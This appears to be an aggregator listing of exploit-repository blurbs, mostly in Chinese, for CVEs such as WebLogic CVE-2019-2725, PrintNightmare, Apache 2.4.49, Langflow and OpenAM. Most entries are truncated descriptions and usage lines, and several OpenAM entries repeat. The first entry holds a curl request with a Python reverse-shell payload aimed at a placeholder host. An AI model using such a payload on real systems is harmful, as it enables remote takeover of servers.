Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 针对 CVE-2019-2725 的简易利用工具。 示例代码： curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import socket,subprocess,os;s=socket.socketsocket.AFINET,socket.SOCKSTREAM;s.connect"MYIP",MYPORT;os.dup2s.fileno,0;...

CVE-2022-29303

CVE-2022-29303-Exploit CVE-2022-29303 的漏洞利用 使用方法 检测单个主机 / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c COMMAND 示例：python3 CVE-2022-29303.py -u...

CVE-2016-2098

CVE-2016-2098 Ruby on Rails 中 Action Pack 在 3.2.22.2 之前版本、4.x 在 4.1.14.2 之前版本及 4.2.x 在 4.2.5.2 之前版本中，允许远程攻击者利用应用程序对 render 方法的无限制使用来执行任意 Ruby 代码。 分类 输入验证错误 致谢 来自 makandra 的 Tobias Kraze 和 Phenoelit 的 joernchen 使用方法 请对代码进行必要的修改以最好地满足您的需求 这并不完美，因为我正在持续学习 Python...

CVE-2021-42392-exploit-lab

⚠️ H2数据库RCE利用PoC CVE-2021-42392 本仓库提供了一个最小且可控的环境，用于使用 CREATE ALIAS 特性测试 H2数据库远程代码执行漏洞 CVE-2021-42392 。与许多演示不同，此利用直接针对 H2 TCP 服务（通常在端口 9092），而不依赖 H2 Web 控制台。 🛑 仅用于教育和测试目的。请勿在您不拥有或未经明确许可的系统上使用。 描述 CVE-2021-42392 是 H2 Database 2.0.206 之前版本中的一个严重漏洞，如果数据库通过 TCP 或 Web 控制台暴露，则允许通过 CREATE ALIAS 远程执行代码。...

CVE-2020-8248

CVE-2020-8248: Pulse Secure VPN Linux客户端中通过Zip通配符利用的权限提升 root SUID可执行文件pulsesvc中的“doupload”函数不安全地调用了带有通配符（“”）的zip命令。通过以特定方式构造文件名，在用户控制文件夹（“/.pulsesecure/pulse/”）中写入文件，攻击者可以滥用通配符向“zip”可执行文件传递自定义标志，从而实现代码执行。 NVD披露： 此漏洞的NVD披露信息可在此查看。 要求： 该漏洞利用针对客户端认证后访问的代码，这意味着要利用此漏洞，攻击者需要满足以下三种场景之一： 托管一个攻击者控制的Pulse...

CVE-2024-28397-RCE

CVE-2024-28397-RCE CVE-2024-28397 - 来自易受攻击的JS2PY的远程代码执行 使用方法：python3 exploit.py...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

EUVD-2026-92019

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115

OpenAM versions prior to 16.1.3 are vulnerable to an unauthenticated arbitrary class instantiation vulnerability within the legacy JAX-RPC SOAP interface . Remote attackers can exploit this by sending SOAP requests to the */jaxrpc/ endpoint using an unverified session identifier and a specified c...

cve-2021-41773

Apache 2.4.49 - 路径遍历或远程代码执行 cve-2021-41773.py 是一个 Python 脚本，用于检测 Apache 2.4.49 中的路径遍历或远程代码执行漏洞。提供了易受攻击的 Docker 实例，让您亲身体验 CVE-2021-41773 如果 CGI-BIN 已启用，则可以执行远程代码执行（而非路径遍历），因此 在 httpd.conf 的 Alias 部分中添加了 "icons" 目录，用于检测路径遍历漏洞。 httpd.conf 中的易受攻击配置 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons" 目录 3. Require...

cve-2025-3248-exploit

CVE-2025-3248: Langflow 未授权远程代码执行漏洞扫描器 一个全面的 Python 利用框架，用于测试和演示 CVE-2025-3248 ，该漏洞是 Langflow 版本 ≤ 1.3.0 中的一个严重未授权远程代码执行漏洞。 🔴 漏洞概述 CVE-2025-3248: Langflow 代码注入远程代码执行 属性| 值 ---|--- CVE ID| CVE-2025-3248 产品| Langflow 受影响版本| ≤ 1.3.0 漏洞类型| 未授权远程代码执行（RCE） 攻击向量| 网络 需要认证| 无 CVSS 评分| 9.8（严重） EPSS 评分|...

CVE-2024-44902-env

CVE-2024-44902 - ThinkPHP 不安全反序列化 RCE 用于 nuclei-templates 验证的脆弱环境。 漏洞详情 字段| 值 ---|--- CVE ID| CVE-2024-44902 严重性| 严重 CVSS 9.8 产品| ThinkPHP 受影响版本| 6.1.3 - 8.0.4 类型| 不安全反序列化 → RCE CWE| CWE-502 描述 ThinkPHP 6.1.3 至 8.0.4 版本存在一个不安全反序列化漏洞。当安装了 Memcached PHP 扩展时，攻击者可以通过向调用用户输入 unserialize...

Dutch Institute for Vulnerability Disclosure Breached via Zammad 0-Days

Dutch Institute for Vulnerability Disclosure was breached through two Zammad 0-days in an AI-powered attack that led to remote code execution and root access...

react-rce

CVE-2025-55182 React2Shell 漏洞实践 使用的 AI : Claude Opus 4.5 ⚠️ 警告 ：此环境仅用于教育和研究目的 。 漏洞概述 项目| 内容 ---|--- CVE| CVE-2025-55182 React / CVE-2025-66478 Next.js 名称| React2Shell CVSS| 10.0 Critical 类型| Pre-Auth Remote Code Execution 原因| Flight 协议反序列化时的原型污染 攻击原理 ┌─────────────────────────┐ │ Attacker │...

givewp-cve-2026-82222-rce-lab

CVE-2026-82222 — GiveWP 仅标记 RCE 验证实验室 用于在隔离的 Docker 实验室中复现和验证 CVE-2026-82222 的安全研究材料。 如需直接 RCE PoC 和 URL 扫描，请使用CVE-2026-8222-RCE.py 结论 状态：在所提供的实验室中已验证 GiveWP 4.16.5.1 允许最初未经身份验证的攻击者持久化一个 PHP 对象图，通过 GiveWP 会话处理将其复活，并以 WordPress Web 服务器用户身份 执行一个固定的标记命令。 测试阳性结果： GiveWP: 4.16.5.1 WordPress: 6.6.2 PHP...

CVE-2020-27955-LFS

Git-lfs 远程代码执行 RCE 漏洞利用 CVE-2020-27955 .bat / powershell 版本 受影响软件: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 等 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 已在Windows上测试： git, GitHub CLI gh, GitHub Desktop, Visual Studio Code,...

CVE-2022-26809-RCE

CVE-2022-26809-RCE CVE-2022-26809-RCE https://satoshidisk.com/pay/CFGspB...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Impacket 对 PrintNightmare PoC 的实现，该 PoC 最初由 Zhiniang Peng @edwardzpeng 和 Xuefeng Li @lxf02942370 创建。 已在完全修补的 2019 域控制器上测试。 远程或本地执行恶意 DLL。 补丁更新 微软已发布补丁以缓解这些攻击，但如果机器上存在以下值，则该机器仍然容易受到攻击： REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"...